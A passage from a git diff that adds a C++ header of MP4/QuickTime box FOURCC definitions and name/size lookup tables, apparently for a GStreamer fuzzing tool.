FOURCC_cmvd GST_MAKE_FOURCC('c','m','v','d') +#define FOURCC_co64 GST_MAKE_FOURCC('c','o','6','4') +#define FOURCC_covr GST_MAKE_FOURCC('c','o','v','r') +#define FOURCC_cpil GST_MAKE_FOURCC('c','p','i','l') +#define FOURCC_cprt GST_MAKE_FOURCC('c','p','r','t') +#define FOURCC_crgn GST_MAKE_FOURCC('c','r','g','n') +#define FOURCC_ctab GST_MAKE_FOURCC('c','t','a','b') +#define FOURCC_ctts GST_MAKE_FOURCC('c','t','t','s') +#define FOURCC_cslg GST_MAKE_FOURCC('c','s','l','g') +#define FOURCC_d263 GST_MAKE_FOURCC('d','2','6','3') +#define FOURCC_dac3 GST_MAKE_FOURCC('d','a','c','3') +#define FOURCC_damr GST_MAKE_FOURCC('d','a','m','r') +#define FOURCC_data GST_MAKE_FOURCC('d','a','t','a') +#define FOURCC_dcom GST_MAKE_FOURCC('d','c','o','m') +#define FOURCC_desc GST_MAKE_FOURCC('d','e','s','c') +#define FOURCC_dhlr GST_MAKE_FOURCC('d','h','l','r') +#define FOURCC_dinf GST_MAKE_FOURCC('d','i','n','f') +#define FOURCC_disc GST_MAKE_FOURCC('d','i','s','c') +#define FOURCC_disk GST_MAKE_FOURCC('d','i','s','k') +#define FOURCC_drac GST_MAKE_FOURCC('d','r','a','c') +#define FOURCC_dref GST_MAKE_FOURCC('d','r','e','f') +#define FOURCC_drmi GST_MAKE_FOURCC('d','r','m','i') +#define FOURCC_drms GST_MAKE_FOURCC('d','r','m','s') +#define FOURCC_dvcp GST_MAKE_FOURCC('d','v','c','p') +#define FOURCC_dvc_ GST_MAKE_FOURCC('d','v','c',' ') +#define FOURCC_dv5p GST_MAKE_FOURCC('d','v','5','p') +#define FOURCC_dv5n GST_MAKE_FOURCC('d','v','5','n') +#define FOURCC_dva1 GST_MAKE_FOURCC('d','v','a','1') +#define FOURCC_dvav GST_MAKE_FOURCC('d','v','a','v') +#define FOURCC_dvh1 GST_MAKE_FOURCC('d','v','h','1') +#define FOURCC_dvhe GST_MAKE_FOURCC('d','v','h','e') +#define FOURCC_dvcC GST_MAKE_FOURCC('d','v','c','C') +#define FOURCC_edts GST_MAKE_FOURCC('e','d','t','s') +#define FOURCC_elst GST_MAKE_FOURCC('e','l','s','t') +#define FOURCC_enda GST_MAKE_FOURCC('e','n','d','a') +#define FOURCC_esds GST_MAKE_FOURCC('e','s','d','s') +#define FOURCC_fmp4 GST_MAKE_FOURCC('f','m','p','4') +#define FOURCC_free GST_MAKE_FOURCC('f','r','e','e') +#define FOURCC_frma GST_MAKE_FOURCC('f','r','m','a') +#define FOURCC_ftyp GST_MAKE_FOURCC('f','t','y','p') +#define FOURCC_ftab GST_MAKE_FOURCC('f','t','a','b') +#define FOURCC_gama GST_MAKE_FOURCC('g','a','m','a') +#define FOURCC_glbl GST_MAKE_FOURCC('g','l','b','l') +#define FOURCC_gmhd GST_MAKE_FOURCC('g','m','h','d') +#define FOURCC_gmin GST_MAKE_FOURCC('g','m','i','n') +#define FOURCC_gnre GST_MAKE_FOURCC('g','n','r','e') +#define FOURCC_h263 GST_MAKE_FOURCC('h','2','6','3') +#define FOURCC_hdlr GST_MAKE_FOURCC('h','d','l','r') +#define FOURCC_hev1 GST_MAKE_FOURCC('h','e','v','1') +#define FOURCC_hint GST_MAKE_FOURCC('h','i','n','t') +#define FOURCC_hmhd GST_MAKE_FOURCC('h','m','h','d') +#define FOURCC_hndl GST_MAKE_FOURCC('h','n','d','l') +#define FOURCC_hnti GST_MAKE_FOURCC('h','n','t','i') +#define FOURCC_hvc1 GST_MAKE_FOURCC('h','v','c','1') +#define FOURCC_hvcC GST_MAKE_FOURCC('h','v','c','C') +#define FOURCC_ilst GST_MAKE_FOURCC('i','l','s','t') +#define FOURCC_ima4 GST_MAKE_FOURCC('i','m','a','4') +#define FOURCC_imap GST_MAKE_FOURCC('i','m','a','p') +#define FOURCC_s16l GST_MAKE_FOURCC('s','1','6','l') +#define FOURCC_in24 GST_MAKE_FOURCC('i','n','2','4') +#define FOURCC_in32 GST_MAKE_FOURCC('i','n','3','2') +#define FOURCC_fl64 GST_MAKE_FOURCC('f','l','6','4') +#define FOURCC_fl32 GST_MAKE_FOURCC('f','l','3','2') +#define FOURCC_jp2c GST_MAKE_FOURCC('j','p','2','c') +#define FOURCC_jpeg GST_MAKE_FOURCC('j','p','e','g') +#define FOURCC_keyw GST_MAKE_FOURCC('k','e','y','w') +#define FOURCC_kmat GST_MAKE_FOURCC('k','m','a','t') +#define FOURCC_kywd GST_MAKE_FOURCC('k','y','w','d') +#define FOURCC_load GST_MAKE_FOURCC('l','o','a','d') +#define FOURCC_matt GST_MAKE_FOURCC('m','a','t','t') +#define FOURCC_mdat GST_MAKE_FOURCC('m','d','a','t') +#define FOURCC_mdhd GST_MAKE_FOURCC('m','d','h','d') +#define FOURCC_mdia GST_MAKE_FOURCC('m','d','i','a') +#define FOURCC_mdir GST_MAKE_FOURCC('m','d','i','r') +#define FOURCC_mean GST_MAKE_FOURCC('m','e','a','n') +#define FOURCC_meta GST_MAKE_FOURCC('m','e','t','a') +#define FOURCC_mhlr GST_MAKE_FOURCC('m','h','l','r') +#define FOURCC_minf GST_MAKE_FOURCC('m','i','n','f') +#define FOURCC_moov GST_MAKE_FOURCC('m','o','o','v') +#define FOURCC_mp3_ GST_MAKE_FOURCC('m','p','3',' ') +#define FOURCC_mp4a GST_MAKE_FOURCC('m','p','4','a') +#define FOURCC_mp4s GST_MAKE_FOURCC('m','p','4','s') +#define FOURCC_mp4s GST_MAKE_FOURCC('m','p','4','s') +#define FOURCC_mp4v GST_MAKE_FOURCC('m','p','4','v') +#define FOURCC_name GST_MAKE_FOURCC('n','a','m','e') +#define FOURCC_nclc GST_MAKE_FOURCC('n','c','l','c') +#define FOURCC_nclx GST_MAKE_FOURCC('n','c','l','x') +#define FOURCC_nmhd GST_MAKE_FOURCC('n','m','h','d') +#define FOURCC_opus GST_MAKE_FOURCC('O','p','u','s') +#define FOURCC_dops GST_MAKE_FOURCC('d','O','p','s') +#define FOURCC_pasp GST_MAKE_FOURCC('p','a','s','p') +#define FOURCC_colr GST_MAKE_FOURCC('c','o','l','r') +#define FOURCC_clap GST_MAKE_FOURCC('c','l','a','p') +#define FOURCC_tapt GST_MAKE_FOURCC('t','a','p','t') +#define FOURCC_clef GST_MAKE_FOURCC('c','l','e','f') +#define FOURCC_prof GST_MAKE_FOURCC('p','r','o','f') +#define FOURCC_enof GST_MAKE_FOURCC('e','n','o','f') +#define FOURCC_fiel GST_MAKE_FOURCC('f','i','e','l') +#define FOURCC_pcst GST_MAKE_FOURCC('p','c','s','t') +#define FOURCC_pgap GST_MAKE_FOURCC('p','g','a','p') +#define FOURCC_png GST_MAKE_FOURCC('p','n','g',' ') +#define FOURCC_pnot GST_MAKE_FOURCC('p','n','o','t') +#define FOURCC_qt__ GST_MAKE_FOURCC('q','t',' ',' ') +#define FOURCC_qtim GST_MAKE_FOURCC('q','t','i','m') +#define FOURCC_raw_ GST_MAKE_FOURCC('r','a','w',' ') +#define FOURCC_rdrf GST_MAKE_FOURCC('r','d','r','f') +#define FOURCC_rle_ GST_MAKE_FOURCC('r','l','e',' ') +#define FOURCC_rmda GST_MAKE_FOURCC('r','m','d','a') +#define FOURCC_rmdr GST_MAKE_FOURCC('r','m','d','r') +#define FOURCC_rmra GST_MAKE_FOURCC('r','m','r','a') +#define FOURCC_rmvc GST_MAKE_FOURCC('r','m','v','c') +#define FOURCC_rtp_ GST_MAKE_FOURCC('r','t','p',' ') +#define FOURCC_rtsp GST_MAKE_FOURCC('r','t','s','p') +#define FOURCC_s263 GST_MAKE_FOURCC('s','2','6','3') +#define FOURCC_samr GST_MAKE_FOURCC('s','a','m','r') +#define FOURCC_sawb GST_MAKE_FOURCC('s','a','w','b') +#define FOURCC_sbtl GST_MAKE_FOURCC('s','b','t','l') +#define FOURCC_sdp_ GST_MAKE_FOURCC('s','d','p',' ') +#define FOURCC_sidx GST_MAKE_FOURCC('s','i','d','x') +#define FOURCC_skip GST_MAKE_FOURCC('s','k','i','p') +#define FOURCC_smhd GST_MAKE_FOURCC('s','m','h','d') +#define FOURCC_soaa GST_MAKE_FOURCC('s','o','a','a') +#define FOURCC_soal GST_MAKE_FOURCC('s','o','a','l') +#define FOURCC_soar GST_MAKE_FOURCC('s','o','a','r') +#define FOURCC_soco GST_MAKE_FOURCC('s','o','c','o') +#define FOURCC_sonm GST_MAKE_FOURCC('s','o','n','m') +#define FOURCC_sosn GST_MAKE_FOURCC('s','o','s','n') +#define FOURCC_soun GST_MAKE_FOURCC('s','o','u','n') +#define FOURCC_sowt GST_MAKE_FOURCC('s','o','w','t') +#define FOURCC_stbl GST_MAKE_FOURCC('s','t','b','l') +#define FOURCC_stco GST_MAKE_FOURCC('s','t','c','o') +#define FOURCC_stpp GST_MAKE_FOURCC('s','t','p','p') +#define FOURCC_stps GST_MAKE_FOURCC('s','t','p','s') +#define FOURCC_strf GST_MAKE_FOURCC('s','t','r','f') +#define FOURCC_strm GST_MAKE_FOURCC('s','t','r','m') +#define FOURCC_stsc GST_MAKE_FOURCC('s','t','s','c') +#define FOURCC_stsd GST_MAKE_FOURCC('s','t','s','d') +#define FOURCC_stss GST_MAKE_FOURCC('s','t','s','s') +#define FOURCC_stsz GST_MAKE_FOURCC('s','t','s','z') +#define FOURCC_stts GST_MAKE_FOURCC('s','t','t','s') +#define FOURCC_styp GST_MAKE_FOURCC('s','t','y','p') +#define FOURCC_subp GST_MAKE_FOURCC('s','u','b','p') +#define FOURCC_subt GST_MAKE_FOURCC('s','u','b','t') +#define FOURCC_text GST_MAKE_FOURCC('t','e','x','t') +#define FOURCC_tcmi GST_MAKE_FOURCC('t','c','m','i') +#define FOURCC_tkhd GST_MAKE_FOURCC('t','k','h','d') +#define FOURCC_tmcd GST_MAKE_FOURCC('t','m','c','d') +#define FOURCC_tmpo GST_MAKE_FOURCC('t','m','p','o') +#define FOURCC_trak GST_MAKE_FOURCC('t','r','a','k') +#define FOURCC_tref GST_MAKE_FOURCC('t','r','e','f') +#define FOURCC_trkn GST_MAKE_FOURCC('t','r','k','n') +#define FOURCC_tven GST_MAKE_FOURCC('t','v','e','n') +#define FOURCC_tves GST_MAKE_FOURCC('t','v','e','s') +#define FOURCC_tvsh GST_MAKE_FOURCC('t','v','s','h') +#define FOURCC_tvsn GST_MAKE_FOURCC('t','v','s','n') +#define FOURCC_twos GST_MAKE_FOURCC('t','w','o','s') +#define FOURCC_tx3g GST_MAKE_FOURCC('t','x','3','g') +#define FOURCC_udta GST_MAKE_FOURCC('u','d','t','a') +#define FOURCC_ulaw GST_MAKE_FOURCC('u','l','a','w') +#define FOURCC_url_ GST_MAKE_FOURCC('u','r','l',' ') +#define FOURCC_uuid GST_MAKE_FOURCC('u','u','i','d') +#define FOURCC_v210 GST_MAKE_FOURCC('v','2','1','0') +#define FOURCC_vc_1 GST_MAKE_FOURCC('v','c','-','1') +#define FOURCC_vide GST_MAKE_FOURCC('v','i','d','e') +#define FOURCC_vmhd GST_MAKE_FOURCC('v','m','h','d') +#define FOURCC_vp08 GST_MAKE_FOURCC('v','p','0','8') +#define FOURCC_vp09 GST_MAKE_FOURCC('v','p','0','9') +#define FOURCC_vpcC GST_MAKE_FOURCC('v','p','c','C') +#define FOURCC_xvid GST_MAKE_FOURCC('x','v','i','d') +#define FOURCC_wave GST_MAKE_FOURCC('w','a','v','e') +#define FOURCC_wide GST_MAKE_FOURCC('w','i','d','e') +#define FOURCC_zlib GST_MAKE_FOURCC('z','l','i','b') +#define FOURCC_lpcm GST_MAKE_FOURCC('l','p','c','m') +#define FOURCC_av01 GST_MAKE_FOURCC('a','v','0','1') +#define FOURCC_av1C GST_MAKE_FOURCC('a','v','1','C') +#define FOURCC_av1f GST_MAKE_FOURCC('a','v','1','f') +#define FOURCC_av1m GST_MAKE_FOURCC('a','v','1','m') +#define FOURCC_av1s GST_MAKE_FOURCC('a','v','1','s') +#define FOURCC_av1M GST_MAKE_FOURCC('a','v','1','M') + +#define FOURCC_cfhd GST_MAKE_FOURCC('C','F','H','D') +#define FOURCC_ap4x GST_MAKE_FOURCC('a','p','4','x') +#define FOURCC_ap4h GST_MAKE_FOURCC('a','p','4','h') +#define FOURCC_apch GST_MAKE_FOURCC('a','p','c','h') +#define FOURCC_apcn GST_MAKE_FOURCC('a','p','c','n') +#define FOURCC_apco GST_MAKE_FOURCC('a','p','c','o') +#define FOURCC_apcs GST_MAKE_FOURCC('a','p','c','s') +#define FOURCC_m1v GST_MAKE_FOURCC('m','1','v',' ') +#define FOURCC_vivo GST_MAKE_FOURCC('v','i','v','o') +#define FOURCC_saiz GST_MAKE_FOURCC('s','a','i','z') +#define FOURCC_saio GST_MAKE_FOURCC('s','a','i','o') + +#define FOURCC_3gg6 GST_MAKE_FOURCC('3','g','g','6') +#define FOURCC_3gg7 GST_MAKE_FOURCC('3','g','g','7') +#define FOURCC_3gp4 GST_MAKE_FOURCC('3','g','p','4') +#define FOURCC_3gp6 GST_MAKE_FOURCC('3','g','p','6') +#define FOURCC_3gr6 GST_MAKE_FOURCC('3','g','r','6') +#define FOURCC_3g__ GST_MAKE_FOURCC('3','g',0,0) +#define FOURCC_isml GST_MAKE_FOURCC('i','s','m','l') +#define FOURCC_iso2 GST_MAKE_FOURCC('i','s','o','2') +#define FOURCC_isom GST_MAKE_FOURCC('i','s','o','m') +#define FOURCC_mp41 GST_MAKE_FOURCC('m','p','4','1') +#define FOURCC_mp42 GST_MAKE_FOURCC('m','p','4','2') +#define FOURCC_piff GST_MAKE_FOURCC('p','i','f','f') +#define FOURCC_titl GST_MAKE_FOURCC('t','i','t','l') + +/* SVQ3 fourcc */ +#define FOURCC_SEQH GST_MAKE_FOURCC('S','E','Q','H') +#define FOURCC_SMI_ GST_MAKE_FOURCC('S','M','I',' ') + +/* 3gpp asset meta data fourcc */ +#define FOURCC_albm GST_MAKE_FOURCC('a','l','b','m') +#define FOURCC_auth GST_MAKE_FOURCC('a','u','t','h') +#define FOURCC_clsf GST_MAKE_FOURCC('c','l','s','f') +#define FOURCC_dscp GST_MAKE_FOURCC('d','s','c','p') +#define FOURCC_loci GST_MAKE_FOURCC('l','o','c','i') +#define FOURCC_perf GST_MAKE_FOURCC('p','e','r','f') +#define FOURCC_rtng GST_MAKE_FOURCC('r','t','n','g') +#define FOURCC_yrrc GST_MAKE_FOURCC('y','r','r','c') + +/* misc tag stuff */ +#define FOURCC_ID32 GST_MAKE_FOURCC('I', 'D','3','2') + +/* ISO Motion JPEG 2000 fourcc */ +#define FOURCC_cdef GST_MAKE_FOURCC('c','d','e','f') +#define FOURCC_cmap GST_MAKE_FOURCC('c','m','a','p') +#define FOURCC_ihdr GST_MAKE_FOURCC('i','h','d','r') +#define FOURCC_jp2h GST_MAKE_FOURCC('j','p','2','h') +#define FOURCC_jp2x GST_MAKE_FOURCC('j','p','2','x') +#define FOURCC_mjp2 GST_MAKE_FOURCC('m','j','p','2') + +/* some buggy hardware's notion of mdhd */ +#define FOURCC_mhdr GST_MAKE_FOURCC('m','h','d','r') + +/* Fragmented MP4 */ +#define FOURCC_btrt GST_MAKE_FOURCC('b','t','r','t') +#define FOURCC_mehd GST_MAKE_FOURCC('m','e','h','d') +#define FOURCC_mfhd GST_MAKE_FOURCC('m','f','h','d') +#define FOURCC_mfra GST_MAKE_FOURCC('m','f','r','a') +#define FOURCC_mfro GST_MAKE_FOURCC('m','f','r','o') +#define FOURCC_moof GST_MAKE_FOURCC('m','o','o','f') +#define FOURCC_mvex GST_MAKE_FOURCC('m','v','e','x') +#define FOURCC_mvhd GST_MAKE_FOURCC('m','v','h','d') +#define FOURCC_ovc1 GST_MAKE_FOURCC('o','v','c','1') +#define FOURCC_owma GST_MAKE_FOURCC('o','w','m','a') +#define FOURCC_sdtp GST_MAKE_FOURCC('s','d','t','p') +#define FOURCC_tfhd GST_MAKE_FOURCC('t','f','h','d') +#define FOURCC_tfra GST_MAKE_FOURCC('t','f','r','a') +#define FOURCC_traf GST_MAKE_FOURCC('t','r','a','f') +#define FOURCC_trex GST_MAKE_FOURCC('t','r','e','x') +#define FOURCC_trun GST_MAKE_FOURCC('t','r','u','n') +#define FOURCC_wma_ GST_MAKE_FOURCC('w','m','a',' ') + +/* MPEG DASH */ +#define FOURCC_tfdt GST_MAKE_FOURCC('t','f','d','t') + +/* Xiph fourcc */ +#define FOURCC_XdxT GST_MAKE_FOURCC('X','d','x','T') +#define FOURCC_XiTh GST_MAKE_FOURCC('X','i','T','h') +#define FOURCC_tCtC GST_MAKE_FOURCC('t','C','t','C') +#define FOURCC_tCtH GST_MAKE_FOURCC('t','C','t','H') +#define FOURCC_tCt_ GST_MAKE_FOURCC('t','C','t','#') + +/* ilst metatags */ +#define FOURCC__cmt GST_MAKE_FOURCC(0xa9, 'c','m','t') + +/* apple tags */ +#define FOURCC__mak GST_MAKE_FOURCC(0xa9, 'm','a','k') +#define FOURCC__mod GST_MAKE_FOURCC(0xa9, 'm','o','d') +#define FOURCC__swr GST_MAKE_FOURCC(0xa9, 's','w','r') + +/* Chapters reference */ +#define FOURCC_chap GST_MAKE_FOURCC('c','h','a','p') + +/* For Microsoft Wave formats embedded in quicktime, the FOURCC is + 'm', 's', then the 16 bit wave codec id */ +#define MS_WAVE_FOURCC(codecid) GST_MAKE_FOURCC( \ + 'm', 's', ((codecid)>>8)&0xff, ((codecid)&0xff)) + +/* MPEG Application Format , Stereo Video */ +#define FOURCC_ss01 GST_MAKE_FOURCC('s','s','0','1') +#define FOURCC_ss02 GST_MAKE_FOURCC('s','s','0','2') +#define FOURCC_svmi GST_MAKE_FOURCC('s','v','m','i') +#define FOURCC_scdi GST_MAKE_FOURCC('s','c','d','i') + +/* Protected streams */ +#define FOURCC_encv GST_MAKE_FOURCC('e','n','c','v') +#define FOURCC_enca GST_MAKE_FOURCC('e','n','c','a') +#define FOURCC_enct GST_MAKE_FOURCC('e','n','c','t') +#define FOURCC_encs GST_MAKE_FOURCC('e','n','c','s') +#define FOURCC_sinf GST_MAKE_FOURCC('s','i','n','f') +#define FOURCC_frma GST_MAKE_FOURCC('f','r','m','a') +#define FOURCC_schm GST_MAKE_FOURCC('s','c','h','m') +#define FOURCC_schi GST_MAKE_FOURCC('s','c','h','i') + +/* Common Encryption */ +#define FOURCC_pssh GST_MAKE_FOURCC('p','s','s','h') +#define FOURCC_tenc GST_MAKE_FOURCC('t','e','n','c') +#define FOURCC_cenc GST_MAKE_FOURCC('c','e','n','c') +#define FOURCC_cbcs GST_MAKE_FOURCC('c','b','c','s') + +/* Audible AAX encrypted audio */ +#define FOURCC_aavd GST_MAKE_FOURCC('a','a','v','d') +#define FOURCC_adrm GST_MAKE_FOURCC('a','d','r','m') + +#define FOURCC_vttc GST_MAKE_FOURCC('v','t','t','c') + +#define FOURCC_sbgp GST_MAKE_FOURCC('s','b','g','p') +#define FOURCC_sgpd GST_MAKE_FOURCC('s','g','p','d') +#define FOURCC_wvtt GST_MAKE_FOURCC('w','v','t','t') + +#define FOURCC_metx GST_MAKE_FOURCC('m','e','t','x') +#define FOURCC_cstb GST_MAKE_FOURCC('c','s','t','b') + + +#define QT_FLAG_CONTAINER true + +#include + +struct fourcc_info { + uint32_t fourcc; + std::string name; + size_t min_size; +}; + +const fourcc_info CONTAINER_LIST[] = { + + {FOURCC_moov, "movie", 0,}, + {FOURCC_vttc, "VTTCueBox 14496-30", 0}, + {FOURCC_clip, "clipping", 0,}, + {FOURCC_trak, "track", 0,}, + {FOURCC_udta, "user data", 0,}, + {FOURCC_matt, "track matte", 0,}, + {FOURCC_edts, "edit", 0,}, + {FOURCC_tref, "track reference", 0,}, + {FOURCC_imap, "track input map", 0,}, + {FOURCC_mdia, "media", 0}, + {FOURCC_minf, "media information", 0}, + {FOURCC_gmhd, "base media information header", 0}, + {FOURCC_dinf, "data information", 0}, + {FOURCC_stbl, "sample table", 0}, + {FOURCC_cmov, "compressed movie", 0}, + {FOURCC_mhdr, "mhdr", 0,}, + {FOURCC_jp2h, "jp2h", 0,}, + {FOURCC_wave, "wave", 0}, + {FOURCC_appl, "appl", 0}, + {FOURCC_cfhd, "cfhd", 0}, + {FOURCC_hnti, "hnti", 0}, + {FOURCC_ilst, "ilst", 0,}, + {FOURCC__nam, "Name", 0,}, + {FOURCC_titl, "Title", 0,}, + {FOURCC__ART, "Artist", 0,}, + {FOURCC_aART, "Album Artist", 0,}, + {FOURCC_auth, "Author", 0,}, + {FOURCC_perf, "Performer", 0,}, + {FOURCC__wrt, "Writer", 0,}, + {FOURCC__grp, "Grouping", 0,}, + {FOURCC__alb, "Album", 0,}, + {FOURCC_albm, "Album", 0,}, + {FOURCC__day, "Date", 0,}, + {FOURCC__cpy, "Copyright", 0,}, + {FOURCC__cmt, "Comment", 0,}, + {FOURCC__des, "Description", 0,}, + {FOURCC_desc, "Description", 0,}, + {FOURCC_dscp, "Description", 0,}, + {FOURCC__lyr, "Lyrics", 0,}, + {FOURCC__req, "Requirement", 0,}, + {FOURCC__enc, "Encoder", 0,}, + {FOURCC_gnre, "Genre", 0,}, + {FOURCC_trkn, "Track Number", 0,}, + {FOURCC_disc, "Disc Number", 0,}, + {FOURCC_disk, "Disc Number", 0,}, + {FOURCC_cprt, "Copyright", 0,}, + {FOURCC_cpil, "Compilation", 0,}, + {FOURCC_pgap, "Gapless", 0,}, + {FOURCC_pcst, "Podcast", 0,}, + {FOURCC_tmpo, "Tempo", 0,}, + {FOURCC_covr, "Cover", 0,}, + {FOURCC_sonm, "Sort Title", 0,}, + {FOURCC_soal, "Sort Album", 0,}, + {FOURCC_soar, "Sort Artist", 0,}, + {FOURCC_soaa, "Sort Album Artist", 0,}, + {FOURCC_soco, "Sort Composer", 0,}, + {FOURCC_sosn, "Sort TV Show", 0,}, + {FOURCC_tvsh, "TV Show", 0,}, + {FOURCC_tven, "TV Episode ID", 0,}, + {FOURCC_tvsn, "TV Season Number", 0,}, + {FOURCC_tves, "TV Episode Number", 0,}, + {FOURCC_keyw, "Keywords", 0,}, + {FOURCC_kywd, "Keywords", 0,}, + {FOURCC__too, "Encoder", 0,}, + {FOURCC__swr, "Application Name", 0,}, + {FOURCC_____, "----", 0,}, + {FOURCC_rmra, "rmra", 0,}, + {FOURCC_rmda, "rmda", 0,}, + {FOURCC__gen, "Custom Genre", 0,}, + {FOURCC_mfra, "movie fragment random access", 0,}, + {FOURCC_moof, "movie fragment", 0,}, + {FOURCC_traf, "track fragment", 0,}, + {FOURCC_mvex, "mvex", 0,}, + {FOURCC_sinf, "protection scheme information", 0}, + {FOURCC_schi, "scheme information", 0}, + + {FOURCC_stsd, "sample description", 16,}, + + {FOURCC_mp4a, "mp4a", 72,}, + {FOURCC_alac, "alac", 72,}, + {FOURCC_fLaC, "fLaC", 72,}, + {FOURCC_aavd, "AAX encrypted audio", 72}, + {FOURCC_opus, "opus", 72,}, + + {FOURCC_mp4v, "mp4v", 86,}, + {FOURCC_avc1, "AV codec configuration v1", 86}, + {FOURCC_avc3, "AV codec configuration v3", 86}, + {FOURCC_hvc1, "HEVC codec configuration", 86}, + {FOURCC_hev1, "HEVC codec configuration", 86}, + {FOURCC_dvh1, "HEVC-based Dolby Vision codec derived from hvc1 ", 86}, + {FOURCC_dvhe, "HEVC-based Dolby Vision codec derived from hev1 ", 86}, + {FOURCC_mjp2, "mjp2", 86,}, + {FOURCC_encv, "encrypted visual sample entry", 86}, + + {FOURCC_meta, "meta", 16,}, + + {FOURCC_mp4s, "VOBSUB codec configuration", 16}, + + {FOURCC_XiTh, "XiTh", 98}, + + {FOURCC_in24, "in24", 52,}, + + {FOURCC_enca, "encrypted audio sample entry", 54} +}; + + +//3rd field = padding (bytes) +const fourcc_info FOURCC_LIST[] = { + + {FOURCC_crgn, "clipping region", 0,}, + {FOURCC_kmat, "compressed matte", 0,}, + {FOURCC_elst, "edit list", 0,}, + {FOURCC_load, "track load settings", 0,}, + {FOURCC___in, "track input", 0,}, /* special container */ + {FOURCC___ty, "input type", 0,}, + {FOURCC_mdhd, "media header", 0,}, + {FOURCC_hdlr, "handler reference", 0,}, + {FOURCC_vmhd, "video media information", 0,}, + {FOURCC_smhd, "sound media information", 0}, + {FOURCC_nmhd, "null media information", 0}, + {FOURCC_gmin, "base media info", 0,}, + {FOURCC_dref, "data reference", 0,}, + + {FOURCC_stts, "time-to-sample", 0,}, + {FOURCC_stps, "partial sync sample", 0,}, + {FOURCC_stss, "sync sample", 0,}, + {FOURCC_stsc, "sample-to-chunk", 0,}, + {FOURCC_stsz, "sample size", 0,}, + {FOURCC_stco, "chunk offset", 0,}, + {FOURCC_co64, "64-bit chunk offset", 0,}, + {FOURCC_vide, "video media", 0}, + {FOURCC_dcom, "compressed data", 0,}, + {FOURCC_cmvd, "compressed movie data", 0,}, + {FOURCC_hint, "hint", 0,}, + + + + {FOURCC_colr, "colr", 0,}, + {FOURCC_pasp, "pasp", 0,}, + {FOURCC_clap, "clap", 0,}, + {FOURCC_tapt, "tapt", 0,}, + {FOURCC_ihdr, "ihdr", 0,}, + {FOURCC_fiel, "fiel", 0,}, + {FOURCC_jp2x, "jp2x", 0,}, + + {FOURCC_dfLa, "dfLa", 0,}, + + {FOURCC_dops, "dOps", 0,}, + {FOURCC_esds, "esds", 0}, + {FOURCC_rtp_, "rtp ", 0,}, + {FOURCC_sdp_, "sdp ", 0,}, + + {FOURCC_data, "data", 0,}, + {FOURCC_free, "free", 0,}, + {FOURCC_skip, "skip", 0,}, + {FOURCC_SVQ3, "SVQ3", 0,}, + {FOURCC_rdrf, "rdrf", 0,}, + {FOURCC_ctts, "Composition time to sample", 0,}, + {FOURCC_cslg, "Composition Shift Least Greatest", 0,}, + + {FOURCC_XdxT, "XdxT", 0}, + {FOURCC_loci, "loci", 0}, + {FOURCC_clsf, "clsf", 0}, + {FOURCC_tfra, "track fragment random access", 0,}, + {FOURCC_mfro, "movie fragment random access offset", 0,}, + {FOURCC_mfhd, "movie fragment header", 0,}, + {FOURCC_tfhd, "track fragment header", 0,}, + {FOURCC_sdtp, "independent and disposable samples", 0,}, + {FOURCC_trun, "track fragment run", 0,}, + {FOURCC_mdat, "moovie data", 0,}, + {FOURCC_trex, "moovie data", 0,}, + {FOURCC_mehd, "movie extends header", 0,}, + {FOURCC_ovc1, "ovc1", 0}, + {FOURCC_owma, "owma", 0}, + {FOURCC_avcC, "AV codec configuration container", 0}, + + {FOURCC_dva1, "AVC-based Dolby Vision derived from avc1", 0}, + {FOURCC_dvav, "AVC-based Dolby Vision derived from avc3", 0}, + {FOURCC_ai12, "AVC-Intra 100M 1080p25/50", 0}, + {FOURCC_ai13, "AVC-Intra 100M 1080p24/30/60", 0}, + {FOURCC_ai15, "AVC-Intra 100M 1080i50", 0}, + {FOURCC_ai16, "AVC-Intra 100M 1080i60", 0}, + {FOURCC_ai1p, "AVC-Intra 100M 720p24/30/60", 0}, + {FOURCC_ai1q, "AVC-Intra 100M 720p25/50", 0}, + {FOURCC_ai52, "AVC-Intra 50M 1080p25/50", 0}, + {FOURCC_ai53, "AVC-Intra 50M 1080p24/30/60", 0}, + {FOURCC_ai55, "AVC-Intra 50M 1080i50", 0}, + {FOURCC_ai56, "AVC-Intra 50M 1080i60", 0}, + {FOURCC_ai5p, "AVC-Intra 50M 720p24/30/60", 0}, + {FOURCC_ai5q, "AVC-Intra 50M 720p25/50", 0}, + + + + {FOURCC_hvcC, "HEVC codec configuration container", 0}, + + + {FOURCC_dvcC, "HEVC-based Dolby Vision codec configuration container", 0}, + {FOURCC_tfdt, "Track fragment decode time", 0,}, + {FOURCC_chap, "Chapter Reference", 0}, + {FOURCC_btrt, "Bitrate information", 0}, + {FOURCC_frma, "Audio codec format", 0}, + {FOURCC_name, "name", 0}, + {FOURCC_mean, "mean", 0}, + {FOURCC_svmi, "Stereoscopic Video Media Information", 0,}, + {FOURCC_scdi, "Stereoscopic Camera and Display Information", 0,}, + {FOURCC_saiz, "sample auxiliary information sizes", 0}, + {FOURCC_saio, "sample auxiliary information offsets", 0}, + + + {FOURCC_enct, "encrypted text sample entry", 0}, + {FOURCC_encs, "encrypted system sample entry", 0}, + {FOURCC_frma, "original format", 0}, + {FOURCC_schm, "scheme type", 0}, + {FOURCC_pssh, "protection system specific header", 0}, + {FOURCC_tenc, "track encryption", 0}, + {FOURCC_sgpd, "sample group description", 0}, + {FOURCC_sbgp, "sample to group", 0}, + {FOURCC_stpp, "XML subtitle sample entry", 0}, + {FOURCC_wvtt, "WebVTT subtitle sample entry", 0}, + {FOURCC_clcp, "Closed Caption", 0}, + {FOURCC_av01, "AV1 Sample Entry", 0}, + {FOURCC_av1C, "AV1 Codec Configuration", 0}, + {FOURCC_av1f, "AV1 Forward Key Frame sample group entry", 0}, + {FOURCC_av1m, "AV1 Multi-Frame sample group entry", 0}, + {FOURCC_av1s, "AV1 S-Frame sample group entry", 0}, + {FOURCC_av1M, "AV1 Metadata sample group entry", 0}, + + {FOURCC_adrm, "AAX DRM key data", 0}, + {FOURCC_mvhd, "movie header", 0,}, + {FOURCC_metx, "XML MetaData Sample Entry", 0}, + {FOURCC_cstb, "Correct Start Time Box", 0}, + {FOURCC_ctab, "color table", 0,}, + {FOURCC_tkhd, "track header", 0,} + }; + +const uint8_t CONTAINER_LIST_SIZE = sizeof(CONTAINER_LIST)/sizeof(CONTAINER_LIST[0]); +const uint8_t FOURCC_LIST_SIZE = sizeof(FOURCC_LIST)/sizeof(FOURCC_LIST[0]); diff --git a/Fuzzing/GStreamer/labeler/labeler.h b/Fuzzing/GStreamer/labeler/labeler.h new file mode 100644 index 0000000..4d3c1e3 --- /dev/null +++ 